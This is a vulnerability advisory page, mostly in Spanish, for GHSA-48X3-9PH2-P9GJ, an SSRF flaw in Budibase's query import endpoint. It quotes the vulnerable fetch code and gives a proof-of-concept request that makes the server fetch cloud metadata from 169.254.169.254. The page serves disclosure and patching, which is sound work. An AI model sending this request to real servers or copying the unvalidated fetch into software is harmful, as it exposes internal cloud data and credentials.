GHSA-48X3-9PH2-P9GJ
Server-Side Request Forgery (SSRF) via Query Import
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-48X3-9PH2-P9GJ divulgada · CVSS 7.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
The query import endpoint (`POST /api/queries/import/info`) calls fetchFromUrl() which uses node-fetch to retrieve content from a user-supplied URL with zero validation — no URL scheme check, no IP blacklisting, no hostname resolution check, no redirect restrictions. The full HTTP response body is returned to the caller.
Affected Code
- _File: packages/server/src/api/controllers/query/import/index.ts (Lines 74–91)_
async function fetchFromUrl(url: string): Promise<string> {
try {
const response = await fetch(url) // NO URL VALIDATION — NO SSRF PROTECTION
if (!response.ok) {
throw new HTTPError(
`Failed to fetch import data (status ${response.status})`,
response.status
)
}
return await response.text()
} catch (error: any) {
if (error instanceof HTTPError) throw error
throw new HTTPError(`Failed to fetch import data - ${error?.message}`, 502)
}
}- _Route: packages/server/src/api/routes/query.ts (Line 41)_
builderRoutes.post("/api/queries/import/info", queryController.importInfo)### PoC
- Send the following request as authenticated users:
POST /api/queries/import/info HTTP/1.1
Host: localhost:10000
Content-Type: application/json
x-budibase-app-id: <WORKSPACE-ID>
Content-Length: 60
{"url":"http://169.254.169.254/metadata/v1/dns/nameservers"}- Observe that the response contains the cloud metadata.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npm@budibase/server |
Sin parche | — | — | 3.38.1 afectada |
3.41.3Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Budibase/budibase/security/advisories/GHSA-48x3-9ph2-p9gjLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
